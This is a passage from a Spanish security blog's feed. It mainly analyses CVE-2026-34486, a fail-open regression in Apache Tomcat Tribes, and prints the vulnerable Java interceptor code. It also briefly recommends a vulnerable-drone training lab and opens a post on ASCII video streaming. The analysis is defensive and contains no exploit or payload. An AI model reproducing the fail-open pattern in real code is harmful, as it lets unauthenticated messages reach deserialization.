style=&quot;text-align: center;&quot;&gt;
&lt;b&gt;&lt;iframe allowfullscreen=&quot;&quot; class=&quot;YOUTUBE-iframe-video&quot; frameborder=&quot;0&quot; height=&quot;345&quot; src=&quot;https://www.youtube.com/embed/EHTQv6IfnwI&quot; width=&quot;560&quot;&gt;&lt;/iframe&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-size: xx-small;&quot;&gt;&lt;i&gt;Url del video&lt;/i&gt;: &lt;a href=&quot;https://www.youtube.com/watch?v=EHTQv6IfnwI&quot;&gt;https://youtu.be/EHTQv6IfnwI&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;A partir de esa base, el laboratorio propone diferentes escenarios donde el objetivo no es simplemente &quot;explotar una vulnerabilidad&quot;, sino comprender el funcionamiento interno de protocolos como MAVLink, analizar el tráfico de telemetría, interceptar comunicaciones entre el dron y la estación de control, comprometer el Companion Computer o estudiar las implicaciones de servicios mal configurados y flujos de vídeo inseguros. Es un enfoque muy cercano al trabajo que realizaría un investigador de seguridad durante una evaluación real de un sistema UAV.&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEisfnc4VX1XmLwzZum8c5TNPKNzeB_cWq1z71Aj_x-zVx89qUfD8zSeMtZm-6d-jiXCw-_LQzphsjXNSZqKq52cmVAqvwEIPVgq14gmSU4nS5IgUOl94oXRJ-Wm8DYVQ3j6ok34WcnvPhjZiso7Bs2lAOjMDnZi_RenUOVN9-bukRifuu8kj9J-wR9oUklO/s1491/Lite-Mode.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;779&quot; data-original-width=&quot;1491&quot; height=&quot;334&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEisfnc4VX1XmLwzZum8c5TNPKNzeB_cWq1z71Aj_x-zVx89qUfD8zSeMtZm-6d-jiXCw-_LQzphsjXNSZqKq52cmVAqvwEIPVgq14gmSU4nS5IgUOl94oXRJ-Wm8DYVQ3j6ok34WcnvPhjZiso7Bs2lAOjMDnZi_RenUOVN9-bukRifuu8kj9J-wR9oUklO/w640-h334/Lite-Mode.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Creo que ese es precisamente uno de los puntos fuertes del proyecto. Obliga a salir de la visión tradicional del pentesting y adentrarse en un entorno donde convergen sistemas embebidos, robótica, redes, IoT y sistemas ciberfísicos. Para quienes trabajamos en ciberseguridad, es un recordatorio de que proteger un dron no consiste únicamente en asegurar el firmware del controlador de vuelo, sino en entender todo el ecosistema tecnológico que lo rodea.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Además, el hecho de que todo pueda ejecutarse mediante simulación elimina una de las principales barreras de entrada: no hace falta disponer de un dron físico para empezar a aprender. Eso lo convierte en un recurso muy recomendable tanto para investigadores como para estudiantes, equipos Red Team o cualquier profesional que quiera iniciarse en la seguridad ofensiva aplicada a UAV.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Me parece un proyecto que merece la pena seguir de cerca y que demuestra cómo los laboratorios prácticos continúan siendo una de las mejores formas de aprender ciberseguridad.&lt;/p&gt;&lt;p&gt;Repositorio del proyecto: &lt;a href=&quot;https://github.com/nicholasaleks/Damn-Vulnerable-Drone&quot;&gt;https://github.com/nicholasaleks/Damn-Vulnerable-Drone&lt;/a&gt;&lt;/p&gt;</content><link rel='replies' type='application/atom+xml' href='https://www.hackplayers.com/feeds/6019747590514099288/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='https://www.hackplayers.com/2026/07/damn-vulnerable-drone-un-laboratorio.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/9133539773684103848/posts/default/6019747590514099288'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/9133539773684103848/posts/default/6019747590514099288'/><link rel='alternate' type='text/html' href='https://www.hackplayers.com/2026/07/damn-vulnerable-drone-un-laboratorio.html' title='Damn Vulnerable Drone: un laboratorio para aprender a atacar (y defender) drones de forma segura'/><author><name>Vicente Motos</name><uri>http://www.blogger.com/profile/03053036399006390105</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVEWEmNj--NFGI_Y_2STA7IMLfue6x71mRjQrvjGe12QsgVS-J1ZQnMaKmxQ_I45QgRmcb3sVqCKMQItltfuazSJeQ3OhyaaqSlUaUM0mJYwEBFXRXKxKVydd8XYCQnA/s220/CameraFun+-+2011-02-10+23.00.34.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img.youtube.com/vi/EHTQv6IfnwI/default.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9133539773684103848.post-5702170216199508</id><published>2026-06-25T23:39:45.942+02:00</published><updated>2026-06-25T23:39:45.942+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="amenazas"/><category scheme="http://www.blogger.com/atom/ns#" term="vulnerabilidades"/><title type='text'>Cuando un parche rompe el modelo de seguridad: anatomía de la regresión fail-open en Apache Tomcat Tribes (CVE-2026-34486)</title><content type='html'>&lt;p&gt;Las vulnerabilidades más interesantes rara vez aparecen por errores complejos de criptografía o por sofisticadas técnicas de explotación. En muchas ocasiones surgen como consecuencia de una modificación aparentemente inocua durante un refactoring. Eso es exactamente lo que ocurrió con &lt;strong data-end=&quot;1114&quot; data-start=&quot;1096&quot;&gt;CVE-2026-34486&lt;/strong&gt;.&lt;/p&gt;
&lt;p data-end=&quot;1418&quot; data-start=&quot;1117&quot;&gt;En este artículo vamos a analizar cómo una única modificación en el flujo de control de &lt;strong data-end=&quot;1222&quot; data-start=&quot;1205&quot;&gt;Tomcat Tribes&lt;/strong&gt; convirtió un componente diseñado para impedir la deserialización de mensajes no confiables en un mecanismo que, precisamente, permitía que dichos mensajes alcanzaran el código de deserialización.&lt;/p&gt;
&lt;p data-end=&quot;1642&quot; data-start=&quot;1420&quot;&gt;Más allá del CVE concreto, el caso resulta especialmente interesante porque ejemplifica uno de los errores de diseño más peligrosos en software de seguridad: pasar de un comportamiento &lt;strong data-end=&quot;1620&quot; data-start=&quot;1605&quot;&gt;fail-closed&lt;/strong&gt; a otro &lt;strong data-end=&quot;1641&quot; data-start=&quot;1628&quot;&gt;fail-open&lt;/strong&gt;.&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgRPhsIFMkrz9hEnewsrG1hoTyd3dtGKri_8F5xWZm6-7vOnBZFgxEc8ZMECc5e7XwOD_8broviDMG2nYqpUhKhjHkfWOu_ytttZAmB-GneMYeNVGcpRPmoJ02LFT5Rl8fmW-TeGAwUqMwLoMVskfIJ1-oDkWEnj7inzosYHNPH1va9Wc_f0jlpMp0mN9S9/s1254/apache_tomcat_tribes_meme_vuln.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1254&quot; data-original-width=&quot;1254&quot; height=&quot;400&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgRPhsIFMkrz9hEnewsrG1hoTyd3dtGKri_8F5xWZm6-7vOnBZFgxEc8ZMECc5e7XwOD_8broviDMG2nYqpUhKhjHkfWOu_ytttZAmB-GneMYeNVGcpRPmoJ02LFT5Rl8fmW-TeGAwUqMwLoMVskfIJ1-oDkWEnj7inzosYHNPH1va9Wc_f0jlpMp0mN9S9/w400-h400/apache_tomcat_tribes_meme_vuln.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;h4 style=&quot;text-align: left;&quot;&gt;Recordando cómo funciona Tomcat Tribes&lt;/h4&gt;&lt;p data-end=&quot;1758&quot; data-start=&quot;1691&quot;&gt;Tomcat Tribes implementa el sistema de clustering de Apache Tomcat. Su objetivo principal consiste en replicar información entre distintos nodos del clúster, especialmente sesiones HTTP, mensajes internos y eventos de replicación. La comunicación se realiza mediante un protocolo propio sobre TCP.&lt;/p&gt;&lt;p data-end=&quot;1642&quot; data-start=&quot;1420&quot;&gt;
&lt;/p&gt;&lt;p data-end=&quot;2019&quot; data-start=&quot;1996&quot;&gt;Simplificando el flujo:&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjBD3XwTDM8IOCbiJj5m680GTobbQ9w4dhII5-cpyzOSc-rm6bwIopFu9eHDwXpv5br89DZ26jT7AotzfXAZ0QN1roGgmJdO99D2-tZ84tU1-QZ8Id34x8J6ar4xGCP3R4obrMJYIgTG1sJajGpgZ51k2FuA4T5k68ks5R1Pq6wI4OBs8k7T93XExnxe69b/s1024/flujo%20apache%20tribes.jpeg&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;559&quot; data-original-width=&quot;1024&quot; height=&quot;350&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjBD3XwTDM8IOCbiJj5m680GTobbQ9w4dhII5-cpyzOSc-rm6bwIopFu9eHDwXpv5br89DZ26jT7AotzfXAZ0QN1roGgmJdO99D2-tZ84tU1-QZ8Id34x8J6ar4xGCP3R4obrMJYIgTG1sJajGpgZ51k2FuA4T5k68ks5R1Pq6wI4OBs8k7T93XExnxe69b/w640-h350/flujo%20apache%20tribes.jpeg&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p class=&quot;PDq2pG_selectionAnchorContainer&quot; data-end=&quot;2298&quot; data-start=&quot;2182&quot;&gt;El punto importante es que &lt;strong data-end=&quot;2297&quot; data-start=&quot;2209&quot;&gt;la deserialización ocurre únicamente después de atravesar la cadena de interceptores&lt;/strong&gt;. Por tanto, el modelo de seguridad asumía que cualquier mensaje recibido ya había sido autenticado (o, más concretamente, correctamente descifrado).&lt;/p&gt;&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;h4 style=&quot;text-align: left;&quot;&gt;El papel del EncryptInterceptor&lt;/h4&gt;&lt;p data-end=&quot;2595&quot; data-start=&quot;2489&quot;&gt;Cuando el administrador configura cifrado entre nodos del clúster, Tomcat inserta un &lt;code data-end=&quot;2594&quot; data-start=&quot;2574&quot;&gt;EncryptInterceptor&lt;/code&gt;.&lt;/p&gt;&lt;p data-end=&quot;2628&quot; data-start=&quot;2597&quot;&gt;Su responsabilidad es sencilla:&lt;/p&gt;&lt;ol data-end=&quot;2741&quot; data-start=&quot;2630&quot;&gt;
&lt;li data-end=&quot;2651&quot; data-section-id=&quot;m6my8c&quot; data-start=&quot;2630&quot;&gt;
recibir el mensaje
&lt;/li&gt;
&lt;li data-end=&quot;2666&quot; data-section-id=&quot;18fy1np&quot; data-start=&quot;2652&quot;&gt;
descifrarlo
&lt;/li&gt;
&lt;li data-end=&quot;2702&quot; data-section-id=&quot;kqnhz0&quot; data-start=&quot;2667&quot;&gt;
reemplazar el contenido original
&lt;/li&gt;
&lt;li data-end=&quot;2741&quot; data-section-id=&quot;gioybl&quot; data-start=&quot;2703&quot;&gt;
reenviarlo al siguiente interceptor
&lt;/li&gt;
&lt;/ol&gt;&lt;p data-end=&quot;2773&quot; data-start=&quot;2743&quot;&gt;El comportamiento esperado es: llega el mensaje, lo descifra (decrypt ()) y lo deja continuar si tiene éxito o lo descarta si hay algún error. Es decir, un diseño claramente &lt;strong data-end=&quot;2922&quot; data-start=&quot;2907&quot;&gt;fail-closed&lt;/strong&gt;.&lt;/p&gt;&lt;p data-end=&quot;2773&quot; data-start=&quot;2743&quot;&gt;Hasta Tomcat 11.0.18, el método seguía precisamente esa lógica:&lt;/p&gt;&lt;p data-end=&quot;2773&quot; data-start=&quot;2743&quot;&gt;&lt;/p&gt;&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;public void messageReceived(ChannelMessage msg) {
    try {
        byte[] data = msg.getMessage().getBytes();
        data = encryptionManager.decrypt(data);

        XByteBuffer xbb = msg.getMessage();
        xbb.clear();
        xbb.append(data, 0, data.length);

        super.messageReceived(msg);

    } catch (GeneralSecurityException gse) {
        log.error(...);
    }
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;/p&gt;&lt;p data-end=&quot;2773&quot; data-start=&quot;2743&quot;&gt;La llamada a:&lt;/p&gt;&lt;p data-end=&quot;2773&quot; data-start=&quot;2743&quot;&gt;&lt;/p&gt;&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;super.&lt;span class=&quot;ͼm&quot; style=&quot;background-color: transparent;&quot;&gt;messageReceived&lt;/span&gt;&lt;span style=&quot;background-color: transparent;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;ͼm&quot; style=&quot;background-color: transparent;&quot;&gt;msg&lt;/span&gt;&lt;span style=&quot;background-color: transparent;&quot;&gt;);&lt;/span&gt;&lt;/pre&gt;&lt;pre class=&quot;overflow-visible! px-0!&quot; data-end=&quot;3464&quot; data-start=&quot;3425&quot;&gt;&lt;div class=&quot;relative w-full mt-4 mb-1&quot;&gt;&lt;div class=&quot;&quot;&gt;&lt;div class=&quot;contents&quot;&gt;&lt;div class=&quot;border border-token-border-light border-radius-3xl corner-superellipse/1.1 rounded-3xl&quot;&gt;&lt;div class=&quot;relative h-full w-full border-radius-3xl bg-token-bg-elevated-secondary corner-superellipse/1.1 overflow-clip rounded-3xl lxnfua_clipPathFallback&quot;&gt;&lt;div class=&quot;relative&quot;&gt;&lt;div class=&quot;&quot;&gt;&lt;div class=&quot;&quot;&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/pre&gt;
&lt;p class=&quot;&quot; data-end=&quot;3497&quot; data-start=&quot;3466&quot;&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;p class=&quot;PDq2pG_selectionAnchorContainer&quot; data-end=&quot;3497&quot; data-start=&quot;3466&quot;&gt;estaba dentro del bloque &lt;code data-end=&quot;3496&quot; data-start=&quot;3491&quot;&gt;try&lt;/code&gt;.&lt;span aria-hidden=&quot;true&quot; class=&quot;PDq2pG_selectionAnchor&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-end=&quot;3524&quot; data-start=&quot;3499&quot;&gt;Si el descifrado fallaba se lanzaba una excepción, el mensaje nunca continuaba y la deserialización jamás ocurría. Desde el punto de vista del diseño, el comportamiento era correcto.&lt;/p&gt;&lt;h4 style=&quot;text-align: left;&quot;&gt;El refactoring&lt;/h4&gt;&lt;p data-end=&quot;3923&quot; data-start=&quot;3711&quot;&gt;Durante la corrección de una vulnerabilidad previa relacionada con el uso de CBC y &lt;em data-end=&quot;3810&quot; data-start=&quot;3794&quot;&gt;padding oracle&lt;/em&gt;, el código fue reorganizado para facilitar nuevos algoritmos como AES-GCM. En ese proceso apareció un cambio aparentemente irrelevante.&lt;/p&gt;&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); line-height: 14px; orphans: 2; overflow: auto; padding: 5px; text-align: left; text-decoration-color: initial; text-decoration-style: initial; text-decoration-thickness: initial; text-indent: 0px; widows: 2; width: 670.369px;&quot;&gt;&lt;span style=&quot;font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace;&quot;&gt;&lt;span style=&quot;font-size: 12px;&quot;&gt;public void messageReceived(ChannelMessage msg) {

    try {

        byte[] data = msg.getMessage().getBytes();
        data = encryptionManager.decrypt(data);

        XByteBuffer xbb = msg.getMessage();
        xbb.clear();
        xbb.append(data, 0, data.length);

    } catch (GeneralSecurityException gse) {

        log.error(...);

    }

    super.messageReceived(msg);
}&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;p data-end=&quot;4607&quot; data-start=&quot;4523&quot;&gt;La única diferencia importante es la posición de una línea. Desde el punto de vista del compilador, el código sigue siendo perfectamente válido, pero desde el punto de vista del modelo de seguridad, ya no.&lt;/p&gt;&lt;p data-end=&quot;3923&quot; data-start=&quot;3711&quot;&gt;




&lt;/p&gt;&lt;p data-end=&quot;4692&quot; data-start=&quot;4666&quot;&gt;Ahora el flujo pasa a ser:&lt;/p&gt;&lt;p data-end=&quot;4692&quot; data-start=&quot;4666&quot;&gt;&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhnzxoAlxyA1mOdCVKTNwJjfC66czb5MpMlcmym6tcoq5FkGZlsjypx-NQ0FKulv10oXmOFVNrrkh4YU4LLhvvopR0UP4oMsIVfajAIavYgZtZZir_56GqLj50sTvtQM70NlM0HN92kigalZwytHRxASL36BMolt2cwao4Jq7T4GpjpqTeqVkIfAp9FNVBJ/s1024/flujo%20apache%20tribes%202.jpeg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;559&quot; data-original-width=&quot;1024&quot; height=&quot;350&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhnzxoAlxyA1mOdCVKTNwJjfC66czb5MpMlcmym6tcoq5FkGZlsjypx-NQ0FKulv10oXmOFVNrrkh4YU4LLhvvopR0UP4oMsIVfajAIavYgZtZZir_56GqLj50sTvtQM70NlM0HN92kigalZwytHRxASL36BMolt2cwao4Jq7T4GpjpqTeqVkIfAp9FNVBJ/w640-h350/flujo%20apache%20tribes%202.jpeg&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p class=&quot;PDq2pG_selectionAnchorContainer&quot; data-end=&quot;4886&quot; data-start=&quot;4840&quot;&gt;La excepción deja de detener el procesamiento. El mensaje continúa exactamente igual. Sin modificar. Sin validar. Sin autenticarse...&lt;/p&gt;&lt;p class=&quot;PDq2pG_selectionAnchorContainer&quot; data-end=&quot;5080&quot; data-start=&quot;5015&quot;&gt;Resulta tentador pensar que el problema está relacionado con AES pero no es así. El algoritmo utilizado es irrelevante. Da igual AES-CBC, AES-GCM o cualquier otro modo, el error aparece &lt;strong data-end=&quot;5216&quot; data-start=&quot;5205&quot;&gt;después&lt;/strong&gt; de que la operación criptográfica falle. No importa el motivo del fallo. La excepción simplemente deja de impedir que el mensaje avance.&lt;/p&gt;&lt;p class=&quot;PDq2pG_selectionAnchorContainer&quot; data-end=&quot;5080&quot; data-start=&quot;5015&quot;&gt;Esto resulta tan peligroso porque el siguiente componente de la cadena asume que todo mensaje recibido ya ha superado las comprobaciones anteriores.&amp;nbsp;&lt;code data-end=&quot;5622&quot; data-start=&quot;5608&quot;&gt;GroupChannel&lt;/code&gt; no vuelve a validar el contenido, confía en el interceptor. Este caso es un ejemplo de manual del antipatrón &lt;strong data-end=&quot;6016&quot; data-start=&quot;6003&quot;&gt;fail-open&lt;/strong&gt;.&amp;nbsp;&amp;nbsp;&lt;/p&gt;&lt;h4 style=&quot;text-align: left;&quot;&gt;Una vulnerabilidad introducida por una mitigación&lt;/h4&gt;&lt;p data-end=&quot;6538&quot; data-start=&quot;6436&quot;&gt;Lo realmente llamativo del caso es que el cambio aparece durante la corrección de otra vulnerabilidad. El parche original perseguía endurecer la criptografía. Sin embargo, durante ese proceso terminó eliminando la propiedad de seguridad más importante del componente: impedir que mensajes no autenticados llegasen a la capa de deserialización.&lt;/p&gt;&lt;p data-end=&quot;6878&quot; data-start=&quot;6786&quot;&gt;Este tipo de regresiones son especialmente difíciles de detectar mediante análisis estático. El código compila, funciona, registra errores y pasa muchas pruebas funcionales. Lo único que ha cambiado es una propiedad del flujo de control.&lt;/p&gt;&lt;h4 style=&quot;text-align: left;&quot;&gt;Lecciones para revisiones de seguridad&lt;/h4&gt;&lt;p data-end=&quot;7132&quot; data-start=&quot;7079&quot;&gt;Este incidente deja varias conclusiones interesantes.&lt;/p&gt;&lt;p data-end=&quot;7197&quot; data-start=&quot;7134&quot;&gt;&lt;strong data-end=&quot;7197&quot; data-start=&quot;7134&quot;&gt;1. Los refactorings también modifican el modelo de amenazas:&amp;nbsp;&lt;/strong&gt;Mover una llamada fuera de un bloque &lt;code data-end=&quot;7241&quot; data-start=&quot;7236&quot;&gt;try&lt;/code&gt; puede alterar completamente la superficie de ataque.&lt;/p&gt;&lt;p data-end=&quot;7365&quot; data-start=&quot;7296&quot;&gt;&lt;strong data-end=&quot;7365&quot; data-start=&quot;7296&quot;&gt;2. Las propiedades de seguridad deberían validarse mediante tests:&amp;nbsp;&lt;/strong&gt;No basta con comprobar que el código funciona.&lt;/p&gt;&lt;p data-end=&quot;7447&quot; data-start=&quot;7415&quot;&gt;También debería verificarse que:&lt;/p&gt;&lt;ul data-end=&quot;7573&quot; data-start=&quot;7449&quot;&gt;
&lt;li data-end=&quot;7512&quot; data-section-id=&quot;16754j0&quot; data-start=&quot;7449&quot;&gt;
un error de descifrado nunca produce procesamiento posterior;
&lt;/li&gt;
&lt;li data-end=&quot;7573&quot; data-section-id=&quot;kjeylk&quot; data-start=&quot;7513&quot;&gt;
las excepciones mantienen el comportamiento &lt;em data-end=&quot;7572&quot; data-start=&quot;7559&quot;&gt;fail-closed&lt;/em&gt;.
&lt;/li&gt;
&lt;/ul&gt;&lt;p data-end=&quot;7634&quot; data-start=&quot;7575&quot;&gt;&lt;strong data-end=&quot;7634&quot; data-start=&quot;7575&quot;&gt;3. Los interceptores representan fronteras de confianza:&amp;nbsp;&lt;/strong&gt;Cuando un interceptor garantiza una propiedad (&quot;todo lo que sale está autenticado&quot;), el resto del sistema deja de comprobarla. Romper esa garantía equivale a eliminar un control de seguridad de todo el pipeline.&lt;/p&gt;&lt;h4 style=&quot;text-align: left;&quot;&gt;Mitigación&lt;/h4&gt;&lt;p data-end=&quot;7634&quot; data-start=&quot;7575&quot;&gt;
&lt;/p&gt;&lt;p data-end=&quot;8344&quot; data-start=&quot;7869&quot;&gt;Apache corrigió la regresión restaurando el comportamiento original, devolviendo la llamada a &lt;code data-end=&quot;7988&quot; data-start=&quot;7963&quot;&gt;super.messageReceived()&lt;/code&gt; al interior del bloque protegido y recuperando así el modelo &lt;em data-end=&quot;8063&quot; data-start=&quot;8050&quot;&gt;fail-closed&lt;/em&gt;. Según la investigación publicada, las versiones corregidas son &lt;strong data-end=&quot;8139&quot; data-start=&quot;8128&quot;&gt;11.0.21&lt;/strong&gt;, &lt;strong data-end=&quot;8152&quot; data-start=&quot;8141&quot;&gt;10.1.54&lt;/strong&gt; y &lt;strong data-end=&quot;8166&quot; data-start=&quot;8155&quot;&gt;9.0.117&lt;/strong&gt;. Las ramas vulnerables fueron &lt;strong data-end=&quot;8208&quot; data-start=&quot;8197&quot;&gt;11.0.20&lt;/strong&gt;, &lt;strong data-end=&quot;8221&quot; data-start=&quot;8210&quot;&gt;10.1.53&lt;/strong&gt; y &lt;strong data-end=&quot;8235&quot; data-start=&quot;8224&quot;&gt;9.0.116&lt;/strong&gt;, mientras que la serie &lt;strong data-end=&quot;8268&quot; data-start=&quot;8259&quot;&gt;8.5.x&lt;/strong&gt; no se ve afectada por esta regresión.&lt;/p&gt;&lt;h4 style=&quot;text-align: left;&quot;&gt;Conclusión&lt;/h4&gt;&lt;p data-end=&quot;8506&quot; data-start=&quot;8365&quot;&gt;CVE-2026-34486 demuestra que las vulnerabilidades más críticas no siempre nacen de algoritmos criptográficos rotos o de primitivas inseguras.&lt;/p&gt;&lt;p data-end=&quot;8678&quot; data-start=&quot;8508&quot;&gt;En este caso bastó desplazar una única línea de código para transformar un interceptor que descartaba mensajes inválidos en otro que los reenviaba de forma incondicional.&lt;/p&gt;&lt;p data-end=&quot;8344&quot; data-start=&quot;7869&quot;&gt;


&lt;/p&gt;&lt;p data-end=&quot;9028&quot; data-is-last-node=&quot;&quot; data-is-only-node=&quot;&quot; data-start=&quot;8680&quot;&gt;Es un recordatorio de que las propiedades de seguridad no dependen únicamente del código que ejecutamos, sino también del flujo de ejecución que decidimos mantener. En componentes encargados de establecer límites de confianza, un pequeño cambio estructural puede ser suficiente para convertir una defensa en el origen de una vulnerabilidad crítica.&lt;/p&gt;&lt;p data-end=&quot;9028&quot; data-is-last-node=&quot;&quot; data-is-only-node=&quot;&quot; data-start=&quot;8680&quot;&gt;&lt;b&gt;Fuente&lt;/b&gt;:&amp;nbsp;&lt;a href=&quot;https://www.striga.ai/research/tomcat-tribes-unauth-rce&quot;&gt;https://www.striga.ai/research/tomcat-tribes-unauth-rce&lt;/a&gt;&lt;/p&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='https://www.hackplayers.com/feeds/5702170216199508/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='https://www.hackplayers.com/2026/06/fail-open-en-Apache-Tomcat-Tribes.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/9133539773684103848/posts/default/5702170216199508'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/9133539773684103848/posts/default/5702170216199508'/><link rel='alternate' type='text/html' href='https://www.hackplayers.com/2026/06/fail-open-en-Apache-Tomcat-Tribes.html' title='Cuando un parche rompe el modelo de seguridad: anatomía de la regresión fail-open en Apache Tomcat Tribes (CVE-2026-34486)'/><author><name>Vicente Motos</name><uri>http://www.blogger.com/profile/03053036399006390105</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVEWEmNj--NFGI_Y_2STA7IMLfue6x71mRjQrvjGe12QsgVS-J1ZQnMaKmxQ_I45QgRmcb3sVqCKMQItltfuazSJeQ3OhyaaqSlUaUM0mJYwEBFXRXKxKVydd8XYCQnA/s220/CameraFun+-+2011-02-10+23.00.34.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgRPhsIFMkrz9hEnewsrG1hoTyd3dtGKri_8F5xWZm6-7vOnBZFgxEc8ZMECc5e7XwOD_8broviDMG2nYqpUhKhjHkfWOu_ytttZAmB-GneMYeNVGcpRPmoJ02LFT5Rl8fmW-TeGAwUqMwLoMVskfIJ1-oDkWEnj7inzosYHNPH1va9Wc_f0jlpMp0mN9S9/s72-w400-h400-c/apache_tomcat_tribes_meme_vuln.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9133539773684103848.post-2125877526928643682</id><published>2026-06-14T23:57:15.844+02:00</published><updated>2026-06-15T00:07:00.274+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="censura"/><category scheme="http://www.blogger.com/atom/ns#" term="curiosidades"/><category scheme="http://www.blogger.com/atom/ns#" term="hacktivismo"/><category scheme="http://www.blogger.com/atom/ns#" term="técnicas"/><title type='text'>El imbloqueable stream de video... ¡hecho en ASCII!</title><content type='html'>&lt;p&gt;Hay proyectos que no destacan por su utilidad práctica, sino por la incomodidad conceptual que generan. Uno de ellos es un experimento reciente conocido como &lt;em data-end=&quot;245&quot; data-start=&quot;227&quot;&gt;Mode 5 rendering&lt;/em&gt;, una implementación que consigue transmitir vídeo en tiempo real utilizando únicamente texto ASCII. Sin imágenes, sin codecs tradicionales, sin frames en el sentido clásico: solo caracteres fluyendo como si fueran logs de sistema… que, en realidad, esconden una secuencia visual coherente a 30 FPS.&lt;/p&gt;&lt;div class=&quot;text-base my-auto mx-auto [--thread-content-margin:var(--thread-content-margin-xs,calc(var(--spacing)*4))] @w-sm/main:[--thread-content-margin:var(--thread-content-margin-sm,calc(var(--spacing)*6))] @w-lg/main:[--thread-content-margin:var(--thread-content-margin-lg,calc(var(--spacing)*16))] px-(--thread-content-margin)&quot;&gt;&lt;div class=&quot;[--thread-content-max-width:40rem] @w-lg/main:[--thread-content-max-width:48rem] mx-auto max-w-(--thread-content-max-width) flex-1 group/turn-messages focus-visible:outline-hidden relative flex w-full min-w-0 flex-col agent-turn&quot; data-conversation-screenshot-content=&quot;&quot;&gt;&lt;div class=&quot;flex max-w-full flex-col gap-4 grow&quot;&gt;&lt;div class=&quot;min-h-8 text-message relative flex w-full flex-col items-end gap-2 text-start break-words whitespace-normal outline-none keyboard-focused:focus-ring [.text-message+&amp;amp;]:mt-1&quot; data-message-author-role=&quot;assistant&quot; 